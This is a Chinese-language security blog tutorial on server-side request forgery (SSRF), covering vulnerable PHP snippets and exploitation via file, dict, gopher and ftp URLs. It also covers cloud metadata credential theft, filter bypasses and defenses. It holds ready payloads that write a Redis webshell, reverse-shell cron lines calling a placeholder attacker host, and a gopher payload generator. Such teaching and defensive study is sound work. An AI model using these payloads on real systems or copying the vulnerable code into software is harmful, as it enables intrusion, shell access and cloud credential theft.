web漏洞之SSRF

一、基础概念

服务端请求伪造(SSRF) 是一种攻击者通过构造恶意请求,诱导服务器向非预期目标发起网络请求的安全漏洞。攻击者利用存在漏洞的服务器作为代理,绕过访问限制,访问内部资源或第三方系统,可能导致敏感信息泄露、内网探测、甚至远程代码执行。

攻击目标:一般是外网无法直接访问的内部系统。

二、漏洞原理

2.1 漏洞原因

  1. 用户可控数据:应用程序接收用户提供的 url 或域名(例如图片下载、API 调用、网页预览功能)。
  2. 服务器发起请求:服务器未严格校验用户数据,直接向该 url 发起 HTTP、FTP、Gopher 等协议请求。
  3. 访问非授权资源:攻击者通过篡改数据,使服务器访问内网服务(如数据库、管理后台)、本地文件(file://协议)或云元数据接口(如 AWS/Aliyun 的元数据服务)。

2.2 漏洞攻击场景

  1. 内网探测:扫描内网IP和端口,识别存活服务(如Redis、MySQL)。
  2. 敏感信息泄露:访问云服务器元数据(如http://169.254.169.254/获取临时密钥)。
  3. 协议滥用
    • 使用file://协议读取服务器本地文件(如file:///etc/passwd)。
    • 利用gopher://协议构造任意TCP流量攻击内网服务(如Redis未授权访问)。
  4. 绕过防御:通过服务器IP绕过IP白名单限制或身份认证。

三、漏洞产生

漏洞产生的相关函数

  1. file_get_contents()
  2. fsockopen()
  3. curl_exec()
  4. fopen()
  5. readfile()

3.1 file_get_contents()

1
2
3
4
<?php
$url = $_GET['url'];
echo file_get_contents($url);
?>

file_get_content函数从用户指定的url获取内容,然后指定一个文件名进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。

3.2 fsockopen()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php 
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>

fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限

3.3 curl_exec()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
if (isset($_POST['url'])){
$link = $_POST['url'];
$curlobj = curl_init();// 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
$result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源

$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>

curl_exec函数用于执行指定的cURL会话

四、漏洞利用

4.1 ssrf 端口探测

  • http 协议探测
1
http://localhost/ssrf.php?url=http://127.0.0.1:6379
  • dict 协议探测
1
http://localhost/ssrf.php?url=dict://127.0.0.1:6379

4.2 ssrf 任意文件读取

  • file 协议读取任意文件
1
http://localhost/ssrf.php?url=file:///etc/passwd

4.3 dict 协议利用

4.3.1 dict 协议读取 redis 版本信息

1
http://localhost/ssrf.php?url=dict://127.0.0.1:6379/info

4.3.2 dict 协议操作redis 键值对

  1. 获取所有键名
1
?url=dict://127.0.0.1:6379/keys:*
  1. 获取指定键的值
1
?url=dict://127.0.0.1:6379/get:keyname
  1. 设置指定键的值
1
dict://127.0.0.1:6379/set:keyname:keyvalue
  1. 清空数据库
1
dict://127.0.0.1:6379/flushall

4.3.3 dict 协议利用 redis 写文件

以下方法可以实现修改文件内容、新建文件写入内容;

  1. 通过info探测是否设置口令
1
?url=dict://127.0.0.1:6379/info

出现类似NOAUTH Authentication required等字样就是设置有口令,可以通过弱口令爆破进行认证

1
?url=dict://127.0.0.1:6379/auth:$123456$
  1. 更改 rdb 文件的目录至需要写文件的目录
1
?url=dict://127.0.0.1:6379/config:set:dir:/var/www/html
  1. 将 rdb 文件名 dbfilename 修改为写入的文件名 webshell.php
1
?url=dict://127.0.0.1:6379/config:set:dbfilename:webshell.php
  1. 写入内容到dbfilename中,如果内容存在过滤或者转义,可以利用 16 进制内容写入
1
?url=dict://127.0.0.1:6379/config:set:webshell.php:<?php phpinfo();?>
  1. 保存写入的内容
1
?url=dict://127.0.0.1:6380/save

4.3.4 dict 配置定时任务反弹 shell

要求系统存在cron,且知道其相应的配置文件,假设配置文件为/etc/crontab,与上述写文件相似,将定时任务写到/etc/crontab

1
2
3
4
5
6
?url=dict://127.0.0.1:6379/flushall
?url=dict://127.0.0.1:6379/auth:123456
?url=dict://127.0.0.1:6379/config:set:dir:/etc/
?url=dict://127.0.0.1:6379/config:set:dbfilename:crontab
?url=dict://127.0.0.1:6379/config:set:crontab:\n\n* * * * * root bash -i >& /dev/tcp/xx.xx.xxx.xx/4444 0>&1\n\n
?url=dict://127.0.0.1:6379/save

4.4 gopher 协议利用

相关工具和资料

  1. https://github.com/firebroo/sec_tools/tree/master
  2. https://github.com/tarunkant/Gopherus
  3. https://zhuanlan.zhihu.com/p/112055947

4.4.1 gopher 发送 GET 数据包

通过gopher发送get请求,请求数据包内容如下:

1
2
GET /b.php?q=1 HTTP/1.1 
Host: 192.168.47.244

gopher发送get请求方法

1
2
3
4
5
//url编码前的内容
gopher://192.168.47.244:80/_GET /b.php?q=1 HTTP/1.1
Host: 192.168.47.244
//url编码后的内容
gopher://192.168.47.244:80/_GET%20/b.php%3Fq%3D1%20HTTP/1.1%0D%0AHost%3A%20192.168.47.244%0D%0A%0D%0A

4.4.2 gopher 发送 POST 数据包

通过gopher发送post请求,请求数据包内容如下:

1
2
3
4
5
6
POST /b.php?q=1 HTTP/1.1
Host: 192.168.47.244
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

q=Myname

gopher发送post请求

1
2
3
4
5
6
7
8
9
10
//url编码前的内容
gopher://192.168.47.244:80/_POST /b.php?q=1 HTTP/1.1
Host: 192.168.47.244
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

q=Myname

//url编码后的内容
gopher://192.168.47.244:80/_POST%20/b.php%3Fq%3D1%20HTTP/1.1%0D%0AHost%3A%20192.168.47.244%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%208%0D%0A%0D%0Aq%3DMyname

4.4.3 Gopher Payload 生成脚本

以下 Python 脚本可以自动将原始 HTTP 请求(GET/POST)转换为 Gopher 协议 Payload。使用时,只需将 BurpSuite 等工具抓取的原始数据包粘贴到脚本中运行即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import urllib.parse

def generate_gopher_payload(raw_request, target_ip, target_port):
"""
将原始 HTTP 请求转换为 Gopher Payload
:param raw_request: 原始 HTTP 请求字符串
:param target_ip: 目标 IP
:param target_port: 目标端口
:return: 完整的 gopher URL
"""
# 1. URL 编码所有字符(包括特殊字符)
# Gopher 协议要求所有字符都要进行 URL 编码
# 注意:换行符 \r\n 必须被编码为 %0D%0A

# 替换换行符为 \r\n (以防复制粘贴时格式丢失)
if '\r\n' not in raw_request and '\n' in raw_request:
raw_request = raw_request.replace('\n', '\r\n')

# 对 payload 进行二次 URL 编码
# 第一次编码是将字符转换为 %XX 格式,用于构建符合 Gopher 协议的数据包
encoded_request = urllib.parse.quote(raw_request, safe='')

# 二次编码:因为 Gopher 协议通常通过 URL 传递,浏览器或 curl 会进行一次解码
# 所以我们需要发送二次编码后的数据,确保到达目标时是正确的 TCP 数据流
# 这里我们手动将 % 替换为 %25 是一种简单的二次编码方式,或者再次 quote
# 但通常 Gopher payload 直接作为 content 发送时,一次编码 + _ (下划线) 即可
# 如果是在 Web 参数中提交(如 ?url=gopher://...),则需要对特殊字符再次编码

# 这里的 payload 是标准的 gopher 格式: gopher://ip:port/_data
# data 部分通常需要 URL 编码。

payload = "gopher://{}:{}/_{}".format(target_ip, target_port, encoded_request)

return payload

if __name__ == '__main__':
# 在这里粘贴原始 HTTP 请求包
# 注意:
# 1. 确保 Content-Length 正确(如果是 POST)
# 2. 保持请求头格式完整
raw_http_request = """
POST /b.php?q=1 HTTP/1.1
Host: 192.168.47.244
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

q=Myname
"""

target_ip = "127.0.0.1"
target_port = "80"

print("[-] Generating Gopher Payload...")
gopher_url = generate_gopher_payload(raw_http_request, target_ip, target_port)

print("\n[+] Gopher Payload:")
print(gopher_url)

print("\n[+] For Curl:")
print('curl "{}"'.format(gopher_url))

# 如果通过 Web 参数提交,建议对 payload 部分再进行一次 URL 编码
print("\n[+] For Web URL Parameter (Double Encoded):")
web_payload = gopher_url.replace("%", "%25")
print(web_payload)

4.4.4 gopher 利用 redis 写文件

这里我们主要运用一下项目https://github.com/firebroo/sec_tools/tree/master

redis TCP Stream 数据读取内容编排方式

1
2
3
4
5
6
*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF

与 dict 协议利用 redis 类似,也是通过 redis 实现写文件的,但是需要将 redis 的命令编写为 TCP Stream 的形式,这部分借助写好的工具脚本即可

redis.cmd文件为需要执行的redis命令,一行一条命令, e.g.

1
2
3
4
5
6
7
8
9
10
# 刷新缓存
flushall
# 更改 rdb 文件的目录至需要写文件的目录
config set dir /tmp
# 将 rdb 文件名 dbfilename 修改为写入的文件名 webshell.php
config set dbfilename webshell.php
# 写入内容到dbfilename中,如果内容存在过滤或者转义,可以利用 16 进制内容写入
set 'webshell' '<?php phpinfo();?>'
# 保存写入的内容
save

得到的payload

1
%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%34%0d%0a%2f%74%6d%70%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

只需要在payload前面加上需要攻击机器的gopher://ip:port/_使用curl就行,最终payload

1
gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%34%0d%0a%2f%74%6d%70%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

4.4.5 gopher 配置定时任务反弹 shell

运用一下项目https://github.com/firebroo/sec_tools/tree/master

在 redis.cmd 文件输入自己需要执行的命令

1
2
3
4
5
flushall
config set dir /etc/
config set dbfilename crontab
config set crontab \n\n* * * * root bash -i >& /dev/tcp/xx.xx.xxx.xx/44444 0>&1 \n\n
save

得到 tcp 数据流后利用 gopher 协议发送即可。

4.5 ftp 协议利用

ftp:// 协议主要用于探测内网端口或进行文件操作。在 SSRF 中,如果后端支持 FTP 协议(如 PHP 的 curl 扩展),可以利用它来探测内网存活服务或读取 FTP 服务器上的文件。

4.5.1 内网端口探测

通过计算响应时间或查看错误信息,可以探测内网主机开放的端口。

1
http://localhost/ssrf.php?url=ftp://127.0.0.1:22

4.5.2 读取文件与目录列表

如果内网存在 FTP 服务且允许匿名访问(或已知账号密码),可以读取文件或列出目录。

1. 匿名访问列出目录

1
http://localhost/ssrf.php?url=ftp://127.0.0.1:21/

2. 读取指定文件

1
http://localhost/ssrf.php?url=ftp://127.0.0.1:21/flag.txt

3. 带凭证访问

格式:ftp://user:password@ip:port/path

1
http://localhost/ssrf.php?url=ftp://admin:123456@10.10.10.5:21/secret.txt

4.6 云主机元数据读取

云服务商(如阿里云、AWS、GCP等)通常提供元数据服务(Metadata Service),用于查询当前实例的配置信息。如果存在SSRF漏洞,攻击者可以访问这些接口获取敏感信息(如临时凭证、AccessKey、Token等),进而控制云资源。

4.6.1 常用元数据地址

1. AWS (Amazon Web Services) / 阿里云 (Alibaba Cloud) / 腾讯云

  • 地址: http://169.254.169.254/latest/meta-data/
  • 利用:
    • 获取实例ID: http://169.254.169.254/latest/meta-data/instance-id
    • 获取IAM角色名称: http://169.254.169.254/latest/meta-data/iam/security-credentials/
    • 获取临时凭证 (AccessKey/SecretKey/Token): http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
    • 获取用户数据 (User Data): http://169.254.169.254/latest/user-data/ (可能包含脚本或密码)

2. 阿里云 (Alibaba Cloud) 额外地址

  • 地址: http://100.100.100.200/latest/meta-data/ (阿里云经典网络或VPC均可尝试)
  • 利用:
    • 获取敏感信息: http://100.100.100.200/latest/meta-data/ram/security-credentials/<ROLE_NAME>

3. Google Cloud Platform (GCP)

  • 地址: http://metadata.google.internal/computeMetadata/v1/
  • 注意: GCP通常需要添加请求头 Metadata-Flavor: Google,普通的SSRF(无头控制)较难利用,但如果支持CRLF注入头部或未校验头部则可利用。
  • 利用:
    • 获取SSH公钥: http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys?alt=json
    • 获取Access Token: http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

4. Microsoft Azure

  • 地址: http://169.254.169.254/metadata/instance?api-version=2021-02-01
  • 注意: Azure通常需要添加请求头 Metadata: true

5. DigitalOcean

  • 地址: http://169.254.169.254/metadata/v1/

4.6.2 利用示例

假设目标存在SSRF漏洞 http://target.com/ssrf.php?url=...

  1. 探测是否存在元数据服务
    访问 http://target.com/ssrf.php?url=http://169.254.169.254/latest/meta-data/
    如果返回目录列表(如 ami-id, iam/, instance-id 等),则说明存在。

  2. 获取凭证
    访问 http://target.com/ssrf.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ 获取角色名称(例如 admin-role)。
    访问 http://target.com/ssrf.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role 获取JSON格式的 AccessKeyId, SecretAccessKey, Token

  3. 本地利用凭证接管
    使用获取的凭证配置本地 CLI 工具(如 aws-clialiyun-cli),即可操作该云账号下的资源。

五、ssrf 常见绕过方式

5.1 常用绕过方法

  1. @绕过;例如:http://abc.com@127.0.0.1

  2. 添加端口号;例如:http:127.0.0.1:8080

  3. 短地址;例如:https://0x9.me/cuGfD

    推荐:http://tool.chinaz.com/tools/dwz.aspx、https://dwz.cn/

  4. 可以指向任意ip的域名;例如:xip.io

  5. ip地址转换成进制来访问;例如:192.168.0.1=3232235521(十进制)

  6. 非HTTP协议;

  7. DNS重绑定;

  8. 利用[::]绕过;例如:http://[::]:80 == http://127.0.0.1:80

  9. 句号绕过;例如:127。0。0。1 == 127.0.0.1

  10. 利用302跳转绕过;

5.2 常见限制

  1. 限制为http://www.xxx.com 域名

采用http基本身份认证的方式绕过,即@;

利用http://www.xxx.com@www.xxc.com == http://www.xxc.com进行绕过

  1. 限制请求IP不为内网地址

当不允许ip为内网地址时:
(1)采取短网址绕过

(2)采取特殊域名

(3)采取进制转换

  1. 限制请求只为http协议

(1)采取302跳转

(2)采取短地址

六、SSRF 盲打

当 SSRF 完全没有回显来获取 SSRF 的利用结果的时候,可以通过外带去判断是否存在 SSRF,可以通过利用 dnslog 或者 vps 主机监听来判断是否存在漏洞;

如在 vps 主机上进行监听

1
nc -lvvp 20044

然后可能存在漏洞的位置写如 vps 监听的 ip 和端口

1
?url=http://127.0.0.1:20044

也可以通过 dnslog 平台实现https://dig.pm/http://dnslog.cn/

七、SSRF 防御方案

ssrf 的防御思路通常有以下几种:

  1. 限制危险协议,仅允许必要的协议,如 http、https;禁止危险协议,如 file://、gopher://、dict://;
  2. 设置 ip 黑名单,禁止访问私钥 ip 端和 保留地址
1
10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16
  1. 限制请求的端口为 http 常用的端口,如:80、443、8080、8090;

八、针对绕过方式的防御方案

  1. DNS重绑定绕过

    防御方案的设计核心在于 固定解析结果,不给攻击者二次解析的机会。

    对于可能存在ssrf漏洞的点对输入的 url 的 hostname 进行 DNS 解析,校验ip地址是否属于合法区域地址,禁止访问私有地址段、环回地址和特殊用途的地址(如云平台元数据地址)。

  2. 302 跳转

    防御方案的设计核心在于将重定向过程受控化,确保每一次跳转都经过与初始请求同等强度的校验。

    1. 禁用自动重定向
    2. 自定义重定向策略(Hook/Interceptor):对Location字段重复进行URL解析和IP地址段校验,保证最后跳转地址的合法有效。
    3. 网络层出口限制(深度防御)

参考链接

  1. https://www.cnblogs.com/miruier/p/13907150.html
  2. https://www.freebuf.com/articles/web/333318.html
  3. https://xz.aliyun.com/news/5847

web漏洞之SSRF
http://candyb0x.github.io/2025/02/20/web漏洞之SSRF/
作者
Candy
发布于
2025年2月20日
更新于
2026年2月23日
许可协议